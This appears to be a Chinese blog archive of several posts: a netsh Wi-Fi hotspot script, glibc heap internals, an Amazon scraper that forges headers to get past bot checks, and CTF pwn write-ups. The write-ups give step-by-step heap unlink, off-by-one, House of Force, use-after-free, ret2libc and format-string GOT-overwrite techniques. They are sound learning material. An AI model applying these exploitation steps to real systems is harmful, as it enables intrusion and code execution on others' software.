我们要使用windows自带的netsh脚本进行网络配置。(具体代码在下面在下面…)
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| — 分割线 — ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
netsh是一个超级厉害的windows下自带脚本,我们可以通过其进行设置windows的相关网络配置。
然后在netsh的介绍下找到wlan,wlan嘛,就是wireless local area network【英语满分】,所以就用这个来设置wlan。
show driver可以显示系统上wlan驱动的信息,发现支持承载网络(毕竟wifi共享大师也能开)
然后使用stop指令将当前的数据网络关闭。然后使用set指令将wlan的上下文进行设置(好多属性啊)我们关注hostednetwork 设置承载网络属性
1 | 参数: |
这四个属性就分别是:
mode = allow|disallow(是否禁止使用wifi)
ssid(Service Set Identifie 服务集标识) = 通俗的说就是wifi名字
key = 你喜欢的密码
keuUsage = persistent|temporary(永久或者是临时)
通过设置这四个属性,我们就能够设置wlan的上下文,最后设置netsh wlan start hostednetwork从而打开wifi~
但是注意,如果直接使用netsh set hostednetwork 属性设置的话,那么wifi就会关闭。所以我们要使用pause,终止其继续执行(当然要是设置成了persistant的话就不用了)
但是在我尝试之后居然失败了?!后来想到:当前的网络数据并不会从我当前的网络走向我设置的无线网吧,所以此时应该是不能够成功的,还差点。于是上网找了个教程,看到要将当前网络设置为共享状态,也就是在:
中的
属性中的中的ipv4处设置共享
并且此时允许其他网络用户通过此计算机的internet连接来连接
并且将家庭组中选中此时我们的wifi对应的无线网的名字即可。
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| — 分割线 — ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
1 | echo 开启wifi中。。。。。 |
新建任意一个txt文件,将上述这段赋值到里面,保存后将刚刚的.txt后缀改名命名为.bat即可。
如果看不到文件后缀名呢?可以通过修改文件夹属性该出来,这里给出win10下的操作:
这的堆和数据结构里面的对不是一个东西,这里的堆就是一个双向链表,每一块数据中都会有一个指向上一个块的指针和指向下一个块的指针。每当要分配空间的时候,就从空闲的块上取一个块下来,并且会在分配的块的某一个位置记录此时的空间大小。
1、堆块的大小分配必须字节对齐:
看下列例子:
1 |
|
此处我们故意输入过长的数据
1 | input your name:namenamename1001 |
然而我们发现,虽然只是分配了10空间,但是name还是成功的存下了16bit大小的数据,并且此时的age内部还是空的,但是如果此时再将数据多输入一点造成溢出的话:
1 | input your name:namenamenamename1001 |
此时的age中存放了name最后四位的数据,并且此时的name也可以放得下数据。也就是说,此时的name所指向的空间中,和age所指向的空间存在重合的地方,并且此时name的实际大小为16bit。
2、堆块的结构
一个堆的最小操作单位为chunk,堆的分配与操作都是基于这个chunk进行的:
如上图,一个使用中的堆的结构体大致如上。其中:
1 | For 32 bit systems: |
其中堆的chunk的数据管理结构体也就是一个Chunk Head大致如下:
1 | struct malloc_chunk |
然后程序中用全局变量main_arena
来管理这些堆,结构为:
1 | struct malloc_state |
3、堆块chunk的理解
在glibc malloc中将整个堆内存空间分成了连续的、大小不一的chunk,即对于堆内存管理而言chunk就是最小操作单位。Chunk总共分为4类:
注意到,这个数据块中并不存在bk和fd指针(因为此时并不需要)
此处的bin其实就是【一个将chunk链接起来的链表】。根据不同的块大小,系统将其分成了四种类型:
在glibc中,有两种记录bin的数据类型,一种叫做fastbinY,用于记录所有fast bins的。还有一个叫做bins,用来记录除了fast bin以外的所有bins事实上,一共有126个bins,分别是:
其中具体数据结构定义如下:
1 | struct malloc_state |
这里mfastbinptr的定义:typedef struct malloc_chunk *mfastbinptr
;
mchunkptr的定义:typedef struct malloc_chunk* mchunkptr
;
所有大小介于16~80
字节的chunk都属于这个bin。为了下文更好的叙述,这里约定:
1 | (1) chunk size指的是malloc_chunk得到的实际大小 |
这些bins是内存分配中分配速度最快的数据。
malloc_consolidate
函数对malloc_state
结构体进行初始化,malloc_consolidate
函数主要完成以下几个功能:然后当再次执行malloc(fast chunk)函数的时候,此时fast bin相关数据不为空了,就开始使用fast bin
当 small chunk 或者 large chunk 被freed之后没有回到它们的bin只中时,就会被加入这个bin。这个方法让glibc malloc能够使用最近释放的这些chunk。因此就节约了查找合适大小bin的时间。
这个堆块在malloc和free的时候都会有重要作用。
在free阶段
在malloc阶段
(2 * SIZE_SZ, system_mem]
区间内的话,则会被视为invalid next size
。所以在伪造堆块的时候,一定要保证当前堆块的 fake size + addr 能够落在一个有效的数字上(最好就是下一个堆块中)chunk大小小于512byte并且不属于fast bin的就是这个small chunk。其分配速度介于large chunk和fast bin之间。
chunk大小大于512byte的都会进入到当前的bin中。
之前提到的四种chunk中的一种,位于arena的最上方。它不属于任何一个chunk bin。当不存在free chunk的时候,会使用这个chunk,当top chunk的大小大于用户需求的时候,其会分裂成两部分(像是large chunk一样),合适的分配给用户,剩下的chunk继续作为top chunk。如果大小还是不够的话,那么top chunk就会使用sbrk指针(main arena)或者mmap(thread arena)进行空间分配。
这种chunk是最近一次请求的小chunk中分类出来的。Last remainder chunk 可以帮助提高程序的局部性,比如小size的请求会被分配到连续的位置上。
哪种chunk会被称为last remainder chunk呢?
当用户请求small size chunk的时候,未能够从small bin和unsorted bin中得到合适chunk的,bitmaps将会去下一个非空最大bin中查找。就如之前说的,当找到下一个合适的bin的时候,将会将chunk分裂成两部分。那个未被使用,加入到unsorted bin中的就称为Last Remader Chunk
那这么做对于局部性有什么提高?
现在如果用户仍然需要一个小的chunk,假设此时的unsorted bin只有我们刚刚分配的chunk,那么此chunk就会分配成两部分,一部分交给用户,另一部分成为新的Last Remainder Chunk,如此一来,这些小的chunk的大小就变得相邻了。
当最初分配的时候,只含有Top chunk
,所以会从这里分配空间。此时所有的bins结构都是空的
1 | +----------------+ +----------------+ |
第一次free之后,就会根据这个chunk的大小分配到不同的位置上:
当malloc的时候,进行如下操作
前面卸了写了很多对堆的介绍,然后这里就详细介绍一下如何利用这些。
由前文可知,从内存角度上,堆的位置在内存意义上是相邻的(就像之前的实验一样),也就是说,当分配了多个堆块之后,我们可以通过溢出对某些特殊位置的实现更改,从而实现注入攻击
注意到之前提到的,small chunk 和large chunk在free的过程中会查看相邻的位置是否为free chunk,从而进行数据合并从而利用空间:
1 | /* consolidate backward */ |
这里有两种说法:向前合并和向后合并,这个前后的概念是越靠前越接近bins,早分配的靠前。假如此时有两个数据chunk1和chunk2,并且假设两者的地址是连续的,那么此时如果通过编辑数据,使得像chunk1分配数据的时候修改了chunk2的头部8个字节,将P位(IN_USE)修改成0,那么此时的chunk2在进行free的时候就会在检查过程中将chunk1误合并,在合并的过程中,就会发生unlink:
1 | /* Take a chunk off a bin list */ |
看的有点迷糊,就自己做了个实验看看:
测试代码如下:
1 |
|
实验中分配地址为:
name:0x0804a008
age:0x0804a068
info:0x0804a0c8
padding:0x0804a128
(由于不存在相邻的free块,同时由于top chunk中的剩余位置也作为free chunk,导致此时至少需要四个块才能够形成chain)
然后查看内存中的状态为
可以看到,此时的0x0804a004和0x0804a04c已经之后的变量中分别存放了对应chunk的大小和当前的状态(0x9,表示当前的模块正在使用)。
在之后free了一个块后(这里我们将info先free),我们知道此时会诞生fb和bk,由于此时没有别的数据块,所以我们要直接指向自己:
此时注意到,bk和fd指向了一个位置,这个位置实际上为main_arena,同时这个main_arena中的地址+0x8的位置还要指向了这个分配的地址的起始位置(包括了prev_size),而当前地址指向的是padding的下一块的prev_size的地址.
当name也被free之后,main_arena变化为
当前位置上指着的内容变成了最初分配给name的prev_size的位置,并且
此时可以看出,已经形成了free chain,大致如下:
此时可以看出,晚释放的靠前,早释放的靠后。
在分配的时候,main_arena中的地址始终指向的是【下一个空闲块的起始地址】,而在main_arena+0x8和main_arena+0xc的位置中指向的是【当前空闲块的头部(,如果只剩头部的话,则指向自己表示此时为空闲】。同时,这个前和后的概念大概也懂了,大概就是:
………………
那此时我们在回到原先思考的问题上。原先的状态如下:
1 | chunk2->fw = data; |
那么如果我们正确释放了chunk2之后再释放chunk1的话,那么此时会由于nextchunk=top chunk,使得正常释放,从而不进入unlink;而当我们企图误导程序,覆盖掉chunk2中的prev_size中的P位,让其以为chunk1也为空的时候,会发生这样的事情:
1 |
|
利用上述机制,当我们修改了chunk1中的相关信息时如图:
然后在unlink的时候,此时的FD = P->fd = &chunk1_var-0xc,BK = P->bk = &chunk1_var - 0x8,而此时的
FD->bk = BK;就相当于*(&chunk1_var - 0x8+0x8) = chunk1_var = &chunk1_var - 0x8
同理,BK->fd = FD <===> *(&chunk1_var - 0xc + 0xc) = &chunk1_var - 0xc
最终导致变为:
现在再次使用chunk1指针的时候,就能够往&chunk1 - 0xc中写入内容,从而修改掉此时自己的值,可以作如下的事情:
这些位置往往是一个字符串空间,这样修改后,往往是可以打印或者修改的,于是【此时我们就能够打印free的真实地址,或者修改成system地址】
由于我们知道,能够实现上述步骤,必然要能够接触到某个堆块并且对其fd和bk进行修改,同时修改其chunksize从而引发unlink,那么我们首先就要能够【对某个堆块内容进行读写】,找到的溢出利用方式有如下几种:
A是发生有off-by-one的堆块,其中B和C是allocated状态的块。而且C是我们的攻击目标块。
我们的目标是能够读写块C,那么就应该去构造出这样的内存布局。然后通过off-by-one去改写块B的size域(注意要保证inuse域的值为1,否则会触发unlink导致crash)以实现把C块给整个包含进来。通过把B给free掉,然后再allocated一个大于B+C的块就可以返回B的地址,并且可以读写块C了。
具体的操作是:
在这种情况下堆块布局依然是这样的
A是发生有off-by-one的堆块,其中B是free状态的块,C是allocated块。而且C是我们的攻击目标块。
我们的目标是能够读写块C,那么就应该去构造出这样的内存布局。然后通过off-by-one去改写块B的size域(注意要保证inuse域的值为1)以实现把C块给整个包含进来。但是这种情况下的B是free状态的,通过增大B块包含C块,然后再allocated一个B+C尺寸的堆块就可以返回B的地址,并且可以读写块C了。
具体的操作是:
这种情况就与上面两种有所不同了,在这种情况下溢出的这个字节是一个’\x00’字节。这种off-by-one可能是最为常见的,因为诸如:
1 | buf=malloc(124); |
就会产生这种null byte off-by-one,即拷贝一个字符串到一个同样长的缓冲区时,并未考虑到NULL字节。
相比于前两种,这种利用方式就显得更复杂,而且对内存布局的要求也更高了。
首先内存布局需要三个块
其中A,B,C都是allocated块,A块发生了null byte off-by-one,覆盖了B块的inuse位,使B块伪造为空。然后在分配两个稍小的块b1、b2,根据ptmalloc的实现,这两个较小块(不能是fastbin)会分配在B块中。然后只要释放掉b1,再释放掉C,就会引发从原B块到C的合并。那么只要重新分配原B大小的chunk,就会重新得到b2。在这个例子中,b2是我们要进行读写的目标堆块。最后的堆块布局如下所示:
布局堆块结构如ABC所示
这种方法是要触发unlink宏,因此需要一个指向堆上的指针来绕过fd和bk链表的check。(就是我们之前举例子的那种)
需要在A块上构造一个伪堆结构,然后覆盖B的pre_size域和inuse域。这样当我们free B时,就会触发unlink宏导致指向堆上的指针ptr的值被改成&ptr-0xC(x64下为&ptr-0x18)。通过这个特点,我们可以覆写ptr指针,如果条件允许的话,几乎可以造成无限次的write-anything-anywhere。
前面提到的都是修改small bin等类型,这里记录一下top chunk的控制:
首先我们提供一个参考程序:
1 |
|
我们的目的,就是通过溢出攻击,控制malloc返回的数据地址,使其返回的地址能够指向我们的目标地址。
首先我们看一下分配了vul后的堆空间:
此时堆中只有两块,一个fastbin和一个top-chunk,其中top-chunk始终保持为使用状态,然后为了【使堆中空间足够大,从而不会使用mmap或者brk分配空间,我们使用ffffffff】修改其数据。
此时的top-chunk将会任认为自己的大小变为0xffffffff(最大的整数),然后我来看一下malloc的过程:
1 | Void_t* |
大致内容如上,上文的关键代码为:
1 | size = chunksize(victim); |
此时的size为我们top的大小(直接从chunk对应位置获得),此时我们的目的是修改av->top,也就是remainder
的内容,所以关键就在于修改nb,这个nb是我们下一次malloc的时候传入的,具体来说就是:
1 | unsigned int evil_size = (unsigned int)str - sizeof(int)*2 - (unsigned int)(vul + 20); |
这个evil_size将会导致漏洞的发生!我们观察到,如果size为0xffffffff的话,其实size就相当于0x0(因为只要加上1就回归到0了),然后我们这里的evi_size大小为
【str地址】 - 【sizeof int2】(也就是str的地址如果真的是一个freebuf的话此时的状态) - 【vul+20】(这个正好就是av->top原先的地址)
我们可以观察此时的remainder_size的值为:
size + av->top’s address - str’s address +sizeof int2
此时的remainder应该会**向着原先top所在的位置-str所在的偏移+两个int的大小(prev_size和size)**的位置!也就是说,虽然此时给evil分配的位置还是正确的,但是这个av->top已经指向了错误的位置上,下一次我们分配地址的时候就会将【错的地址指向的数据分配出来】!那么此时我们就将获得一个指向运行中程序位置的地址,从而进行注入攻击!
此地址为str全局变量的位置
程序运行结果为:
第一次写这种文章,参考了各路大神的文章。可能有很多错误的地方,欢迎斧正。
文章相关资料参考:
https://jaq.alibaba.com/community/art/show?spm=a313e.7916648.0.0.XxxJTj&articleid=334
https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/comment-page-1/?spm=a313e.7916648.0.0.fS2yoI
http://bobao.360.cn/learning/detail/3113.html
https://gbmaster.wordpress.com/2015/06/28/x86-exploitation-101-house-of-force-jedi-overflow/
需要将网页里面的特定的内容抓取,具体来说就是
限定平装书,需要书名 作者名 出版时间 售价 出版社 从书名(如果有的话)内容简介 ISBN码
这些内容在网页里面肯定是有的,所以我们只需要使用【正则表达式】将需要的内容提取出来即可。
然后他指定的内容范围为
关键字为音乐鉴赏,美术鉴赏,艺术创作。
这个。。amazon的参数好像蛮多。。。那我不如这里先偷个懒(那句话怎么说,KISS原则嘛),这里先将他的要求的网址记录下来
音乐鉴赏
美术鉴赏
艺术创作
好吧长得都好像啊。。。
朋友要求是将上述的数据整理至一个excel,这种功能,上网找了一个python的封装的库应该就没有问题了。那么为了让其使用方便一点,我们这里最好支持一下交互界面什么的,依然打算拿pyqt撸一个出来,方便使用。
那么大概功能就是:
简单的脚本,就拿python来做吧,这里使用requests来将数据取下来,但是注意一点,amazon其实是有防护机制的,如果你贸然的使用get方法访问的话,amazon会返回一个这样的东西给你:
1 | <!-- |
然后我尝试着伪造了一下头部,就绕过去了。。。。
然后就是提取这个页面里面的每个书对应的url,观察当前的页面,里面的url有一个特征词汇"a-link-normal s-access-detail-page a-text-normal",那么可以利用这个关键字,使用正则表达式将当前的数据提取出来。
由于我们要提取的是href中间的内容,我们首先要指定是**<\a>**中的内容,然后利用()将我们需要的内容返回
1 | pageDetail = r'<a class="a-link-normal s-access-detail-page a-text-normal"[^>]*?href=\"([^>]*)\"[^>]*?>' |
注意到,由于正则默认为贪婪模式,所以我们可以通过在*****后面增加?来实现非贪婪模式查找。
查找到网页后,记录下当前的网站,依次访问。
然后根据需求,我们要获得一下内容
测试了一下,大致是可以完成需要的功能了~
然后是操作excel,虽然vba什么的没看过,但是python有excel的写入库xlwt,于是这里尝试学习一下:
1 | import xlwt |
上网找了的demo,那么对应关系估计就是
|实际内容 |操作对象 |
|excel文件 |workbook
|表单 |sheet
|单元格内容 |write写入
那么我们大致就知道要如何写了:创建一个excel,并且将数据按照指定的位置放入。
----------=========------------
出现了新的需求,需要截图网站上的图片并且存到当前的目录下。这个好像也是可以实现的。然后发现一个麻烦的事情。。。图片嘛,肯定就扯到了编码的问题,然而我好像怎么搞都搞不掂。。因为url抓到的页面大小好像不太对。。。可能是多张图片什么的,反正图片的个数错了。。。于是乎用了别的思路,直接扒了网页里面的图片,也就是base64处理后的那个。。。。虽然可能压缩了,但是应该还是没问题的。。于是就将这个取下来,然后base64处理一下应该就没问题了。
由于同学提到说自己也想乘机学一下,所以打算写一个依赖关系清单,让他也能快速安装。
装上pipreqs可以快速的生成我们的requirements.txt。然而发现一直在报错UnicodeDecodeError,想到可能是因为windows的cmd编码问题,于是使用参数强制指定编码为utf-8:
1 | pipreqs --encoding=utf-8 --use-local ./ |
那么如果对方需要快速的安装对应库的话,只需要在当前目录下用用
1 | pip install -r requirements.txt |
命令,即可快速的装上对应的依赖库。
后来想起来要有一个可视化的界面方便操作。。。好吧操起丢了好久的pyqt简单撸一个:
首先用qt designer做一个先。。。
然后利用pyuic5命令生成一个对应的.py文件
1 | pyuic5 -o ui_Dialog.py Dialog.ui |
最后用另一个程序将这个内容包括进去,使用pyqt对其进行操作。为了让程序运行的时候不发生卡顿,这里使用了QThread对其进行异步处理,并且加上了槽函数:
1 | class SpiderCrawl(QThread): |
最后为了防止手误输入了错误的网址。。。这里还进行了检测,如果无法在当前的网页中找到合适的url的话,也视为输入错误。
最后附上项目的网址:
amazonSpider V1.0
首先打开,和之前的题目类似,都是一个nemu,基本逻辑是:建立笔记,可以将笔记打印,同时也可以将笔记删除。然后发现有一些细节有点问题:
当指定了大小的时候,我们再输入数据的时候,发现我们已经进行了输入(?)仿佛是因为输入流的原因未将上一个内容的/n读入导致。
再多次输入数据之后,我们就发现之后的【输出流会被原先的输入流干扰】,这种现象,显然不是正常的。所以我们优先怀疑一下在建立笔记的时候出现的问题:
从函数中可以看出来,此时存在一个结构体:note,大致是如下
1 | struct note{ |
其中,print_cont会将content的内容输出,相当于是抽象成了一个类。然而仔细看上述代码,会发现有一个奇怪的地方:全局变量:note_num表示当前有多少个笔记,然而这个笔记的上限为【5】,在计算机中其实
就是相当于可以输入【6】个数字,然而实际上,存在一个全局变量notes,里面存放了【5】个note的指针,而且每一个指针的空间都是由add_note中创建的,导致当存满5个数字后,也不会报错。
然后看delete_note函数:
这里有一个显然有问题的地方:这里在进行delete的时候,完全没有将指针指空,所以到之后的操作的时候,此时的地址一直为一个【野指针】。据测试,就算此处变为野指针后,此处依然可以被free(这是为啥?)。
接下来的print与delete类似,只不过是将删除换成了调用对应位置的函数,读取变量对应位置,并且取出当前地址中的内容(正确的话就是函数)进行调用。
所以综上,如果能够结合1,2往某个位置写入shellcode,然后再在3中进行执行的话,就能够完成攻击。那么首先要考虑如何写入我们需要的数据。然后仔细看了很多遍,看来。。果然还是要碰上堆相关的攻击了。(之前比赛的时候因为不会做堆的相关,导致了虽然找到一个printf的格式化输出漏洞却无法利用然后被人打爆了。。。)
后来在漫长的探索过程中发现了几个可能出问题的地方:
1 | .text:08048923 mov eax, [ebp+index] |
仔细看这一部分会发现,此时的栈中存放的居然是【note本身!】根据函数的调用我们会发现,由于【note是通过将自己作为参数传入,从而将自己+4处的conteent打印输出】,所以当我们构造好了企图用print_cont来执行我们的puts函数的时候,【我们还会将自己传入,然后打印自己】!虽然我们仍然可以利用它的函数泄漏地址,但是当我们想要利用system的时候,我们要如何才能将我们的数据压入栈中呢。。。。
那么估计不是在这里进行攻击了。。还得换地方。。
尝试修改思路,直接跳转到堆上执行函数。方法就和之前一样!只不过这一次我们再次将两者释放,此时note[0].print_cont和note[1].print_cont再次回到原来的位置上,这一次我们申请空间,只不过此时会往堆上跳转。
后来又失败了。。。理由不明。。。。QVQ爆炸
过了几天突然想起来,好像还有一种方法叫做ROP的可以尝试一下,于是赶紧收集了一下libc.so.6中的数据。
后来注意到不行。。毕竟人家是要覆盖返回值的,也就是至少是要能够接触到栈,我这边只有堆可以利用啊啊啊。。。
不可思议!!!!!!原来思路一直是正确的!唯一的问题源自于system的参数问题!!!,之前一直纠结于【如何利用system,因为system参数的位置上是一个地址】。最近见了不少大佬,发现system之下有一个奇技淫巧!!!
1 | system("hsasoijiojo||/bin/sh") |
这样执行居然是可以行得通的!!!由于我们的字符串就存放在地址的后面,于是我们构造的字符串只要带有";sh",那么就能够执行后半部分的语句!!!(可恶啊困了我三个月的问题)
附上可执行代码
1 |
|
最终得到
1 | FLAG{Us3_aft3r_fl3333_in_h4ck_not3} |
完结撒花!!!
这里由于给了libc,本地测试的话可能libc是不一样的,可以通过设置环境变量将libc设置为题目所给的
1 | export LD_PRELOAD="/home/xxxx/libc_32.so.6" |
这一题提供了lib.so.6,估计就是可以使用ret2lib之类的方法来完成的了。
学习前辈们的做法,先将当前程序运行一下先:
就是一个击杀琴酒的故事(误?)首先通过create bullet,再power up bullet,最后beat wolf,游戏逻辑大概是这样。然后发现这里会要求我们输入对子弹的描述:
这里推测这个s其实是一个结构体,因为这个s里面好像会存不同的内容,注意由于此处的s之前为DWORD,所以这里*(s+12)其实是相当于s当前偏移48个字节。那么可以还原当前的结构体为
1 | struct bullet{ |
那么就在IDA中将这个结构体还原一下:
打开structure窗口,里面写有可以进行的操作
在edit中选中add struct type或者直接快捷键insert
接下来把光标对准sizeof那块,按下D可以插入byte,word或者double word。
如果是数组的话,先使用右键expend type 对数据进行扩充(扩充在当前位置的上方),然后选中array将填充的额数据变为array
最后,为了将我们的结构体和指定的内容关联起来,我们找到我们需要处理的变量,并且回车进入到当前栈空间,点击变量,然后选中Edit->Struct var即可将其关联。
完成了这个关联后我们继续看我们的程序。输入字符串input_read函数会将字符串末尾的’\n’变为’\0’(人如果字符串不是太长的话),然后对字符串的长度使用strlen函数(一个超级容易出问题的函数啊。。。。)这里假如我们输入的字符串中包含’\0’,那么此时测得的strlen将会出现误差。
然后是可能会有问题的power_up函数:
大致的意思就是;限制字符串总长为48,在原先的des后面连接上新的des,同时增长length。
接下来看beat函数:
从beat函数中首先可以看出的是,这里还有一个结构体记录了wolfman的基本情况:
1 | struct WolfMan{ |
大概就是拿之前子弹中的字符串的长度作为power去减去此时的wolfman此时的life。
大体已经过了一遍了,然后主要有可能存在漏洞的就是那个strlen和strncat上。顺便注意,此程序的输入输出流是打开了缓存的。
后来想起来,size_t其实是无符号数那么之前出现过的read_input中的:
此时的nbyte的长度可以通过溢出变得很大!那么接下来就要思考一下如何让这个溢出变大。然后仔细检查,发现问题的关键好像在于strncat:
首先要知道,\0是不会算在strlen的长度里面的,所以如果我们第一次输入的数据就达到了40字节的话,第41字节会被置为0,然后接下来我们在power_up中就存在8可以输入的字符的大小,但是如果此时我们故意输入过于长的字符串,如’aaaaaaaa’,那么此时当进入如下的代码时
这个strncat会企图在字符串的末尾处增加’\0’,而这个增加的位置正好会将原先记录了字符串长度的值冲刷成0:
因此我们能够绕过此处的检测,输入更长的字符串,从而实现攻击。由于我们知道此时的栈中情况为
所以此时我们需要构造的栈情况为
由于我们尽可能的节约空间,使得我们有47个字节左右可以使用,除去padding,我们还剩下40个字节,相当于可以插入10个地址。那么我们首先要确定当前运行时候的动态链接库中函数映射到内存中的地址,所以此时我们可以先通过跳转到puts函数中,并且将atoi的函数地址泄漏出来,然后通过相对位置的计算,计算出system的地址,再次跳转并且执行/bin/sh(写入栈中)。
那么首先我们找到puts的地址:
此地址为0x080484A8,然后是输出此时的atoi的地址,为:
地址为0x0804AFF8区别于puts,这部分内容是写在数据段的,也就是"会在调用一次后就被修改内容的地址位置",由于atoi执行过,此时的atoi就会泄漏自己的地址。然后我们在libc_32.so.6中找到这个函数的位置:
以及system的位置:
计算可以知道两者的偏移差距为system:0x0003A940 - atoi:0x0002D050,也就是我们泄漏的地址addr -0x0002d050 + 0x0003a940 = 当前的system的地址。
然后花了好久思考如何凑个/bin/sh出来,因为我在IDA的string中没有找到这个变量,然后孤注一掷,在debian里面用了strings查看,居然找到了?!那这个是怎么回事?点开IDA发现.rodata中有一部分内被识别成了function…将其undefined之后就会变回字符串,最后找到了/bin/sh的地址为00158E8B.
突然意识到,还是得分两步来实现这个过程:首先第一次,使用puts将地址泄漏之后,我们还得回到原先的main函数的位置,让整个函数重新执行一遍,并且在这一次中实现system的跳转,才有可能实现我们的攻击。
第一次构造的栈为
第二次构造的栈为
构造如上栈,进行进攻。
发现这种攻击好难写。。。。非常长还容易写错。。调试好久才调试通过:
1 | # -*- coding:utf-8 -*- |
末尾附上strncat的代码(?)
1 | /*** |
printf的正确使用方式应该是:
1 | printf(format_string, arg0,arg1...) |
由于C允许函数的参数不固定,这就使printf的参数在编译过程中不会特意的检查参数的数量。而格式化字符串漏洞为:
1 | printf(user_str) |
也就是【由用户来输入格式化字符串从而导致的漏洞】。
常用的格式化字符串类型有以下
1 | | 符号 | 作用 | |
$num
的话,表示是【作用于第num个参数】**【备注】**对于snprintf这类,会限制输入长度的printf而言,形如下列的例子:
1 | input = "%025x%n" |
这类题目,0最多会输出18个到tmp中,但是value2的值依然为25,因此可以断定,格式化字符串%n对于输出长度的计算不是真的会有多少个字符输出,而是理论上有多少个字符将会存在
其中利用%x可以轻易的泄漏指定地址的信息,如:
1 | printf("%12d%x") |
注意到之后并没有紧跟着其他的参数,但是printf本身不会判断后面是否有跟着其他参数,而是会模拟一个取参数的过程
可以看到,printf是通过【读取format_str】中指定的参数,然后直接操作栈,从栈中紧临着格式化字符串上的区域中取出参数,并且输出相关数据。所以当用户来指定format_str的时候,就可以通过这一点将栈中的一些信息泄漏出来。
这里假设我们的代码形式入下
1 | int main(int argc, char *argv[]) |
此时可以看到,用户并没有放入足够的参数,于是此时printf会将地址08480110输入到字符串中,同时,使用了%x使得栈的指针向后移动。由于参数是从右往左压入的,所以最左边的格式化字符串就位于栈最下的位置。四个%x总共就会将栈上移4*4 = 16字节,此时正好会将字符串中指定区域的数据输出。
同样的,如果将此时的%s更换成%n的话,就能够像指定的地址08480110中写入我们指定的数据。
这里有一个来自实验楼的测试:
1 | /* vul_prog.c */ |
实验目的是修改secret[1]的值为指定值,这里我们先分析一下:
思路:已知存在一个格式化字符串输出漏洞,那么我们可以构造字符串,像指定地址中写入数据。
首先我们需要知道字符串开始的地址,通过gdb调试,我们能够得到开始的地址为[ebp-0x6c],而此时的栈头部为[ebp-0x88]
此时可以算出,期间相间的地址为6个空间大小,那么此时可以通过6个%x将printf的指针指向字符串的开头,在这个位置写下secret[1]的地址的话,就可以修改目标secret[1]的值。(后来发现,由于有输入参数int_input,可以往此种写入地址,然后直接让printf的%n作用在这个地址指向的位置即可)此地址为[ebp-0x74],那么距离参数只间隔4个%x,从而可以构建参数:
%x,%x,%x,%x,%s
结果如下
显然,U的ascii码为55,所以此时的%s的确是将数据成功的泄漏了。那么通过将%s修改为%n的话,就能够修改指定值。
成功。
1 | snprintf(dst, size, fmt, ..); |
格式化字符串攻击是动态的。也就是说,在运行过程中,dst中的值如果能够根据fmt发生变化,那么就可以直接利用dst进行修改,而不是fmt。
例子:
1 | snprintf(dst, sizeof(fmt), argv[1]); |
上述题目要实现任意位置写,所以我们需要在某个可控位置放入addr,然后使用%n
进行攻击。
如果想要在argv[1]中写入地址,并且直接利用的话,其实非常困难,因为argv[1]的内容会让栈发生动态变化,这一点是很要命的。。。因为你可能计算好了偏移量,但是exp的长度变化后整个长度都会变化。
由于snprintf这个函数没有缓冲,是立即生效的,所以如果我们输入的内容是:
1 | '\xef\xbe\xad\xde' |
那么其实在栈中,dst就会有这个地址:
1 | 0xbffffac0: 0xbffffaec 0x00000080 0xbffffd5a 0xb7fdcb48 |
这样的话,我们就不必巧妙的计算exp的长度,从而防止偏移变化,而是直接写入到fmt的对应位置上即可。
POSIX标准中新增加了如下的标准:
1 | %[parameter][flags][field width][.precision][length]type |
格式和原先差不多,但是可以使用【占位符】来指定【要操作的变量】。n$
n是用这个格式说明符的第几个参数。
其中可以使用功能将数字扩栈:
hhn$
– 将char类型扩展成inthn$
– 将short类型扩展成int1 | printf("%2$d %2$#x; %1$d %1$#x",16,17) |
虽然这个比赛有一些很容易的题目,但是pwn似乎出的还是蛮适合新手的(?)
程序大致流程如下:
程序给了一个libc,漏洞有两个:gets和printf。
然而仔细看,发现这个程序他。。。没有return,那这个canary就没有什么意义了。。。
所以,我们的只能利用这个printf了。我们的第一步就是通过printf找到puts函数的真实地址,然后计算出libc的地址,并且计算出system的地址,并且替换掉printf的.plt表,让其执行system:
为了实现这个思路,首先要能够泄露出puts的地址,这里我们可以用上文提到过的方法,在printf输入的字符串中写入puts.plt的地址,从而将plt的内容输出:
1 | "p32(puts_got) + "%6$s" |
这个%6$s
是【计算出了当前字符串的开始地址】然后独处这个地址中的内容,也就是puts的内容。:
我们得到了puts的地址后,再次构造,利用%n往指定的位置写入数据。这里有一个技巧:一个地址的一般大,不可能说写入0xb000cf00个字符串(因为printf是真的向stdout中写出那么多个字符串,而这个数字很大),所以这里我们分成两个部分,分别写入0xb000和0xcf00-0xb000个字符串(此时我们指定用hn,也就是按照两个字节写入),这样的话就能够写入字符串。
第二个技巧是,当我们计算这个%x$hn
的时候,x的数值是根据字符串的起始位置来确定的,而我们写入的字符出长度也是要精确计算过的,所以这个就导致我们需要知道我们写入的地址有没有被计算在输出的字符串长度中。因此我们可以将地址放在字符串的尾部,这样的话我们的输出长度x就不需要继续调整,直接就是我们之前计算好的地址的两部分。
如果按照上述做法的话,可能会有疑惑,这个x的长度应该也会影响字符串,那又如何确定printf.got在第几个变量呢,这里要用到一个进程运行时动态库的位置的知识:动态链接库的程序所映射的地址空间是介于栈和堆之间,或者说更加接近于栈方向,也就是说此时地址的一般是0xbxxxxxxx,也就是说是数字0xb000~0xbfff(45056-49151),而后面那段就算是0xffff,答案也是65535,长度依然是5,也就是大概率这个数字的长度是5,所以我们计算参数所在位置的时候,这个字符串的长度我们就默认为5计算,应该是不会错的。
于是我们可以得到字符串为
1 | %(5)x%13$hn%(5)x%14$hnaa+printfs_got+printf_got+2 |
通过计算,能够发现这个字符串的长度为28(本来是26,我们在第二个$hn后长度为26,为了对其填补两个aa作为padding),然后计算后可以得到,此时的printf_got(注意这个要是got!因为我们是修改got表),最后计算出这个printfs_got的地址为第13个变量的位置。
最后就能够计算出exp:
1 | exp = "%" + str(c2) + "x" + "%13$hn" + "%"+ str(c1-c2) + "x" + "%14$hnaa" + p32(printf_got) + p32(printf_got + 2) |
下面给出poc:
1 | # -*- coding:utf-8 -*- |
提示是*Have you ever use Microsoft calculator?*这种提示,第一时间上网找信息,发现在google上真的流传着microsoft calculator的bug,好像触发方式为:
1 | if ( (unsigned int)(*(_BYTE *)(i + expr) - 48) > 9 ) |
要将大于9(也就是为数字的时候)的过滤掉?后来在gdb调试的时候发现这里的为unsigned,也就是无符号的,所以只要小于48(也就是符号范围内)的都会被考虑(之前其他符号已经被过滤了)
